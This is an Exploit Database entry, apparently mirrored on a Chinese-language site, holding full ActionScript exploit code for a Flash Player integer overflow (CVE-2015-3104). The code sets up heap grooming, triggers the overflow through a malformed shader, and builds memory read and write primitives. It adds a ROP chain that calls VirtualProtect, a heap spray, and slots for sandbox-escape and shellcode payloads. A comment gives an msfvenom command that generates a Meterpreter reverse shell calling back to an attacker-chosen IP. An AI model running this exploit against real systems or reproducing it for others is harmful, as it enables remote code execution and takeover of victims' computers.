Adobe Flash Player – Integer Overflow

• Exploit Database
• 15 阅读

• 作者： ryujin
  日期： 2017-01-14
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/50290/

• // Exploit Title: Adobe Flash Player - Integer Overflow
  // Exploit Author: Matteo Memelli (ryujin@offensive-security)
  // Date: 14/01/2017
  // Original PoC: https://bugs.chromium.org/p/project-zero/issues/detail?id=323&can=1&q=Shader
  // CVE: CVE-2015-3104
  // Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3104
  
  package
  {
  import flash.display.*;
  import flash.utils.ByteArray;
  import flash.events.Event;
  import flash.events.MouseEvent;
  import flash.text.*
  import mx.utils.Base64Decoder;
  
  public class ShaderInputOverflow extends Sprite
  {
  	public var bb:ByteArray = null;
  	public var allocate:Array;
  	public var MAX_ARRAY:uint = 81920;
  	public var text:TextField = new TextField();
  	public var gText:String = "";
  	public var corrupted:uint = 0;
  	public var corrupted_ba_address:uint = 0;
  	public var corrupted_ba_pos:uint = 0;
  	public var next_ba_address:uint = 0;
  	public var NPSWF32Base:uint = 0;
  
  public function ShaderInputOverflow():void
  {
  		if (stage) drawText();
  		else addEventListener(Event.ADDED_TO_STAGE, drawText);
  		drawText();
  
  		var i:uint;
  		allocate = new Array();
  
  		for (i = 0; i < MAX_ARRAY; i++) {
  		bb = new ByteArray();
  		bb.writeByte(0x57);
  		bb.writeByte(0x30);
  		bb.writeByte(0x30);
  		bb.writeByte(0x54);
  		bb.writeByte(0x57);
  		bb.writeByte(0x30);
  		bb.writeByte(0x30);
  		bb.writeByte(0x54);
  		bb.writeByte(0x57);
  		bb.writeByte(0x30);
  		bb.writeByte(0x30);
  		bb.writeByte(0x54);
  		bb.writeByte(0x57);
  		bb.writeByte(0x30);
  		bb.writeByte(0x30);
  		bb.writeByte(0x54);
  		allocate.push(bb);
  		}
  
  		// We create "holes" of size 0x18 bytes on the heap
  		i = MAX_ARRAY/2;
  		while (i<MAX_ARRAY)
  		{
  		if (i % 2 != 0) {
  			allocate[i] = null;
  		}
  		i++;
  		}
  
  		var ba:ByteArray = new ByteArray();
  		ba.writeByte(0xa1);// Define parameter?
  		ba.writeByte(0x02);// Output.
  		ba.writeByte(0x04);// Type: 4 floats.
  		ba.writeByte(0x00);// 16-bit field, ??
  		ba.writeByte(0x01);
  		ba.writeByte(0xff);// Mask.
  		ba.writeByte(0x41);
  		ba.writeByte(0x00);// Param name: 'A'
  		ba.writeByte(0xa3);// Add texture?
  		ba.writeByte(0x00);// Index?
  		ba.writeByte(0x40);// 64 channels.
  		ba.writeByte(0x42);
  		ba.writeByte(0x42);
  		ba.writeByte(0x42);
  		ba.writeByte(0x42);
  		ba.writeByte(0x00);// Texture name: 'BBBB'
  		ba.position = 0;
  		var baOut:ByteArray = new ByteArray();
  		var baIn:ByteArray = new ByteArray();
  
  		// Overwrite ByteArray::Buffer Object capacity field with 0xffffffff
  		// and the pointer to the data to 0x16000000
  
  		baIn.writeUnsignedInt(0x6230306e);
  		baIn.writeUnsignedInt(0x6230306e);
  		baIn.writeUnsignedInt(0x41414141); // ptr
  		baIn.writeUnsignedInt(0x41414141); // 0x1
  
  		// Offset can be 0x10 bytes
  		baIn.writeUnsignedInt(0x16000000); // ptr to data
  		baIn.writeUnsignedInt(0xffffffff); // capacity
  		baIn.writeUnsignedInt(0x16000000); // length / ptr to data
  		// Another time in case the offset is 0x8 bytes
  		baIn.writeUnsignedInt(0xffffffff); // capacity
  		baIn.writeUnsignedInt(0xffffffff); // length
  
  		var job:ShaderJob = new ShaderJob();
  		var shader:Shader = new Shader();
  		shader.byteCode = ba;
  		shader.data.BBBB.width = 8192;
  		shader.data.BBBB.height = 8192;
  		shader.data.BBBB.input = baIn;
  		job.target = baOut;
  		job.width = 1;
  		job.height = 1;
  		job.shader = shader;
  
  		// We need to catch the Error thrown by Flash to continue the execution
  		// job.start triggers the copy that causes the heap overflow
  		try
  		{
  			job.start(true);
  		}
  		catch (err:Error)
  		{
  			trace("w00t");
  		}
  		var s:spray = new spray();
  		corrupted = findCorrupted();
  		allocate[corrupted].position = 0;
  		gText += "The corrupted ByteArray object is at index " + corrupted.toString() + " of the 'allocate' array\n";
  		gText += "The length of the corrupted ByteArray is " + (allocate[corrupted].length).toString(16) + "\n";
  		findCorruptedAddress();
  		gText += "Corrupted ByteArray::Buffer object address 0x" + (corrupted_ba_address).toString(16) + "\n";
  		var NPSWF32Ptr:uint = readDword((corrupted_ba_address+0x18*2));
  		gText += "NPSWF32Ptr: 0x" + NPSWF32Ptr.toString(16) + "\n";
  		NPSWF32Base = findNPSWF32_Base(NPSWF32Ptr);
  		gText += "NPSWF32Base Address: 0x" + NPSWF32Base.toString(16) + "\n";
  
  		// Look for the corrupted ByteArray::Buffer object address
  		var tosearch:uint = corrupted_ba_address;
  		gText += "Ptr to search: 0x" + tosearch.toString(16) + "\n";
  		var VTableObj:uint = findVTable(tosearch);
  		gText += "VTable Address: 0x" + VTableObj.toString(16) + "\n";
  		updateText();
  
  		var methodEnvVtable:uint = readDword(VTableObj+0xd4);
  		gText += "methodEnvVtable Address: 0x" + methodEnvVtable.toString(16) + "\n";
  		updateText();
  
  		// Crash on the Jitted pointer dereference that leads to code execution
  		//writeDword((VTableObj+0xd4), 0x42424242);
  
  		// Control the Jitted pointer dereference that leads to code execution
  		writeROPChain(NPSWF32Base);
  
  		// Decode and Write the files for the privilege escalation to memory
  		var dll:ByteArray = new ByteArray();
  		var met:ByteArray = new ByteArray();
  		var dec1:Base64Decoder = new Base64Decoder();
  		var dec2:Base64Decoder = new Base64Decoder();
  		// sandbox exploit code
  		dec1.decode("YOUR BASE64 PRIVESC SANDBOX ESCAPE DLL CODE HERE");
  		dll = dec1.toByteArray();
  
  		// msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LPORT=4444 LHOST=YOURIP -e generic/none -f exe > pwnd.exe
  		// base64 pwnd.exe | tr --delete '\n'
  		// Meterpreter executable or any other payload…
   		dec2.decode("YOUR BASE64 METERPRETER CODE HERE");
  		met = dec2.toByteArray();
  		writeBytes(0x1a100000, met);
  		writeBytes(0x1a200000, dll);
  
  		writeDword((VTableObj+0xd4), 0x1a000000);
  		gText += allocate[corrupted].toString();
  }
  
  	private function hexStringToByteArray(hexstring:String) : ByteArray
  {
  		var bindata:ByteArray = new ByteArray();
  		bindata.endian = "littleEndian";
  		var hexstr:String = null;
  		var count:uint = 0;
  		while(count < hexstring.length)
  		{
  			hexstr = hexstring.charAt(count) + (hexstring.charAt(count + 1));
  			bindata.writeByte(parseInt(hexstr, 16));
  			count += 2;
  		}
  		return bindata;
  	}
  
  	private function writeROPChain(NPSWF32Base:uint):void
  	{
  
  		var ROPaddr:uint = 0x1a00CBE2;
  
  		writeDword(0x1a000004, (NPSWF32Base+0x00418a60)); 				// PIVOT XCHG ECX,ESP...
  
  		// Save stack information to restore the execution flow after shellcode
  		writeDword(0x1a000000, (NPSWF32Base+0x00007324)); 				// POP EAX # RETN
  		writeDword(ROPaddr, 0x1a000400); ROPaddr +=4 ;					// SAVE ECX VALUE HERE
  		writeDword(ROPaddr, (NPSWF32Base+0x0000268e)); ROPaddr +=4 ;	// MOV [EAX],ECX # RETN
  		writeDword(ROPaddr, (NPSWF32Base+0x00007324)); ROPaddr +=4 ;	// POP EAX # RETN
  		writeDword(ROPaddr, 0x1a000404); ROPaddr +=4 ;					// SAVE EBX VALUE HERE
  		writeDword(ROPaddr, (NPSWF32Base+0x000064c54)); ROPaddr +=4 ;	// MOV [EAX],EBX # POP EBX # POP ECX; RETN
  		writeDword(ROPaddr, 0x41414141); ROPaddr +=4 ;					// JUNK
  		writeDword(ROPaddr, 0x42424242); ROPaddr +=4 ;					// JUNK
  
  		// Mona Chain
  		writeDword(ROPaddr, (NPSWF32Base+0x0039cbea)); ROPaddr +=4 ;	// POP EBP # RETN
  		writeDword(ROPaddr, (NPSWF32Base+0x0039cbea)); ROPaddr +=4 ;	// POP EBP # RETN
  		writeDword(ROPaddr, (NPSWF32Base+0x0077c1eb)); ROPaddr +=4 ;	// POP EBX # RETN
  		writeDword(ROPaddr, 0x00000201); ROPaddr +=4 ;
  		writeDword(ROPaddr, (NPSWF32Base+0x007fff57)); ROPaddr +=4 ;	// POP EDX # RETN
  		writeDword(ROPaddr, 0x00000040); ROPaddr +=4 ;
  		writeDword(ROPaddr, (NPSWF32Base+0x00b433a9)); ROPaddr +=4 ;	// POP ECX # RETN
  		writeDword(ROPaddr, (NPSWF32Base+0x00f7e6f5)); ROPaddr +=4 ;	// &Writable location
  		writeDword(ROPaddr, (NPSWF32Base+0x00b1ad8f)); ROPaddr +=4 ;	// POP EDI # RETN
  		writeDword(ROPaddr, (NPSWF32Base+0x00273302)); ROPaddr +=4 ;	// ROP NOP # RETN
  		writeDword(ROPaddr, (NPSWF32Base+0x006cb604)); ROPaddr +=4 ;	// POP ESI # RETN
  		writeDword(ROPaddr, (NPSWF32Base+0x0000d98f)); ROPaddr +=4 ;	// JMP [EAX]
  		writeDword(ROPaddr, (NPSWF32Base+0x002742d3)); ROPaddr +=4 ;	// POP EAX # RETN
  		writeDword(ROPaddr, (NPSWF32Base+0x00b7d364)); ROPaddr +=4 ;	// ptr to VirtualProtect IAT
  		writeDword(ROPaddr, (NPSWF32Base+0x00a4a349)); ROPaddr +=4 ;	// PUSHAD # RETN
  		writeDword(ROPaddr, (NPSWF32Base+0x0015fce4)); ROPaddr +=4 ;	// PTR TO JMP ESP
  
  		// NOPsled
  		writeDword(ROPaddr, 0x90909090); ROPaddr +=4 ;					// nopsled
  		writeDword(ROPaddr, 0x90909090); ROPaddr +=4 ;					// nopsled
  		writeDword(ROPaddr, 0x90909090); ROPaddr +=4 ;					// shellcode
  
  		var Shellcode:String = new String();
  
  		Shellcode += "..... YOUR SANDBOX EVASION SHELLCODE HERE ... ";
  		writeBytes(ROPaddr, hexStringToByteArray(Shellcode)); ROPaddr += Shellcode.length/2;
  
  		// Restore component
  		// 1a00cc56 8b0d0004001amov ecx,dword ptr ds:[1A000400h]
  		// 1a00cc5c 8b1d0404001amov ebx,dword ptr ds:[1A000404h]
  		// 1a00cc62 28d9sub cl,bl
  		// 1a00cc64 87ccxchgecx,esp
  		// 1a00cc66 8becmov ebp,esp
  		// 1a00cc68 83c52cadd ebp,2Ch
  		// 1a00cc6b 31c0xor eax,eax
  		// 1a00cc6d c3ret
  		var Restore:String = new String();
  		Restore = "8b0d0004001a8b1d0404001a28d987cc8bec83c52c31c0c3";
  		writeBytes(ROPaddr, hexStringToByteArray(Restore)); ROPaddr += Restore.length/2;
  	}
  
  	private function findVTable(startAddress:uint):uint
  	{
  		// Find the VTable Object Address within the ByteArrayObject
  		allocate[corrupted].endian = "littleEndian";
  		var addr:uint = 0;
  		var base:uint = 0x16000000;
  		var bstart:uint = base;
  		var count:uint = 0;
  		while (true)
  		{
  			if (readDword(base) == startAddress)
  			{
  				addr = bstart+count;
  				// ByteArray::Buffer pointer is at offset +0x40
  				addr = addr - 0x40;
  				// VTable Object pointer is at +0x8
  				return readDword(addr+0x8);
  			}
  			else
  			{
  				base+= 4;
  				count += 4;
  			}
  		}
  		return addr;
  	}
  
  	private function findNPSWF32_Base(NPSWF32Ptr:uint):uint
  	{
  		// Find a DLL base address by appling the scan down technique
  		var addr:uint = NPSWF32Ptr & 0xfffff000;
  		while (true)
  		{
  			if (readDword(addr) == 0x00905a4d)
  			{
  				return addr;
  			}
  			else
  			{
  				addr = addr - 0x1000;
  			}
  		}
  		return addr;
  	}
  
  	private function readDword(pAddress:uint):uint
  	{
  		// Read a DWORD from an address
  		// by changing the ptr to array of bytes
  		var tmpIndex:uint = 0;
  		var res:uint = 0;
  
  		// Change ptr to array of bytes
  		tmpIndex = (corrupted_ba_address + 0x8) - 0x16000000;
  		allocate[corrupted].position = tmpIndex;
  		allocate[corrupted].writeUnsignedInt(pAddress);
  		allocate[corrupted].position = 0;
  		// Read a DWORD from the new address
  		res = allocate[corrupted].readUnsignedInt();
  		// Reset ptr to array of bytes to 0x16000000
  		tmpIndex = (corrupted_ba_address + 0x8) - pAddress;
  		allocate[corrupted].position = tmpIndex;
  		allocate[corrupted].writeUnsignedInt(0x16000000);
  		return res;
  	}
  
  	private function writeDword(pAddress:uint, value:uint):void
  	{
  		// write a DWORD to an address
  		// by changing the ptr to array of bytes
  		var tmpIndex:uint = 0;
  		// Change ptr to array of bytes
  		tmpIndex = (corrupted_ba_address + 0x8) - 0x16000000;
  		allocate[corrupted].position = tmpIndex;
  		allocate[corrupted].writeUnsignedInt(pAddress);
  		allocate[corrupted].position = 0;
  		// Read a DWORD from the new address
  		allocate[corrupted].writeUnsignedInt(value);
  		// Reset ptr to array of bytes to 0x16000000
  		tmpIndex = (corrupted_ba_address + 0x8) - pAddress;
  		allocate[corrupted].position = tmpIndex;
  		allocate[corrupted].writeUnsignedInt(0x16000000);
  	}
  
  	private function writeBytes(pAddress:uint, data:ByteArray):void
  	{
  		// write a ByteArray to an address
  		// by changing the ptr to array of bytes
  		var tmpIndex:uint = 0;
  		// Change ptr to array of bytes
  		tmpIndex = (corrupted_ba_address + 0x8) - 0x16000000;
  		allocate[corrupted].position = tmpIndex;
  		allocate[corrupted].writeUnsignedInt(pAddress);
  		allocate[corrupted].position = 0;
  		// Read a ByteArray tp the new address
  		allocate[corrupted].writeBytes(data, 0, 0);
  		// Reset ptr to array of bytes to 0x16000000
  		tmpIndex = (corrupted_ba_address + 0x8) - pAddress;
  		allocate[corrupted].position = tmpIndex;
  		allocate[corrupted].writeUnsignedInt(0x16000000);
  	}
  
  private function findCorruptedAddress():void
  {
  allocate[corrupted].position = 0;
  allocate[corrupted].endian = "littleEndian";
  while (true)
  {
  if(allocate[corrupted].readUnsignedInt() == 0x6230306e)
  {
  if(allocate[corrupted].readUnsignedInt() == 0x6230306e)
  {
  // Corrupted Object starts just after the second 0x6230306e tag in case the offset is 0x10
  // otherwise after the two 0x41414141 dwords in case the offset is 0x8
  
  // OFFSET 0x10 LENGTH = 0x16000000
  if (allocate[corrupted].length == 0x16000000)
  corrupted_ba_pos = allocate[corrupted].position;
  // OFFSET 0x8LENGTH = 0xffffffff
  else
  corrupted_ba_pos = allocate[corrupted].position + 0x8;
  // We calculate the address of the corrupted object by using the index
  // and the base address that we set through the heap overflow.
  corrupted_ba_address = 0x16000000 + corrupted_ba_pos;
  // Since every in-use ByteArray object is alternated with a free one
  // (we created the holes), the next in-use ByteArray is at 0x18*2 bytes
  // from the corrupted one.
  next_ba_address = corrupted_ba_address + 0x18*2;
  return;
  }
  }
  }
  return;
  }
  
  	private function findCorrupted():uint
  	{
  		// Find the corrupted ByteArray::Buffer object.
  		// We can find it by checking for a size different from the
  		// original 0x10 bytes, since the ByteArray data is 16 bytes
  		// for all the objects we allocated, except the corrupted one.
  		var i:uint = MAX_ARRAY/2;
  		while (i<MAX_ARRAY)
  		{
  			if (i % 2 == 0)
  			{
  				if(allocate[i].length != 0x10)
  				{
  					return i;
  				}
  			}
  			i++;
  		}
  		return 0;
  	}
  
  	public function updateText(e:Event = null):void
  	{
  		text.text = gText;
  	}
  
  	public function drawText(e:Event = null):void
  	{
  		removeEventListener(Event.ADDED_TO_STAGE, drawText);
  
  		text.text = gText;
  		text.width = 300;
  		text.height = 100;
  		text.x = 10;
  		text.y = 10;
  		text.multiline = true;
  		text.wordWrap = true;
  		text.background = true;
  		text.border = true;
  		var format:TextFormat = new TextFormat();
  		format.font = "Verdana";
  		format.color = 0xff0000;
  		format.size = 8;
  		text.defaultTextFormat = format;
  		addChild(text);
  		text.addEventListener(MouseEvent.MOUSE_DOWN, mouseDownScroll);
  	}
  
  	public function mouseDownScroll(event:MouseEvent):void
  	{
  		text.scrollV++;
  	}
  
  }
  }
  
  import flash.display.MovieClip;
  import flash.utils.*;
  class spray extends MovieClip
  {
  	public var allocate:Array;
  
  	public function spray()
  	{
  		HeapSpray();
  	}
  
  	public function HeapSpray() : void
  	{
  		var chunk_size:uint = 1048576;// 0x100000
  		var block_size:uint = 65536;// 0x10000
  		var heapblocklen:uint = 0;
  		var spraychunks:uint = 0;
  		var heapblock1:ByteArray;
  		var heapblock2:ByteArray;
  		var heapblock3:ByteArray;
  
  		heapblock1 = new ByteArray();
  		heapblock1.endian = Endian.LITTLE_ENDIAN;
  
  		heapblock1.writeInt(0x41424344);
  		heapblocklen = heapblocklen + 4;
  		while(heapblocklen < block_size)
  		{
  			heapblock1.writeByte(0x0d); // padding to 64K
  			heapblocklen = heapblocklen + 1;
  		}
  
  		heapblock2 = new ByteArray();
  
  		while(heapblock2.length < chunk_size)
  		{
  			heapblock2.writeBytes(heapblock1, 0, heapblock1.length);
  		}
  
  			allocate = new Array();
  
  		// 600MB spray
  		while(spraychunks < 50)
  		{
  			heapblock3 = new ByteArray();
  			heapblock3.writeBytes(heapblock2, 0, heapblock2.length);
  			allocate.push(heapblock3);
  			spraychunks = spraychunks + 1;
  		}
  	}
  }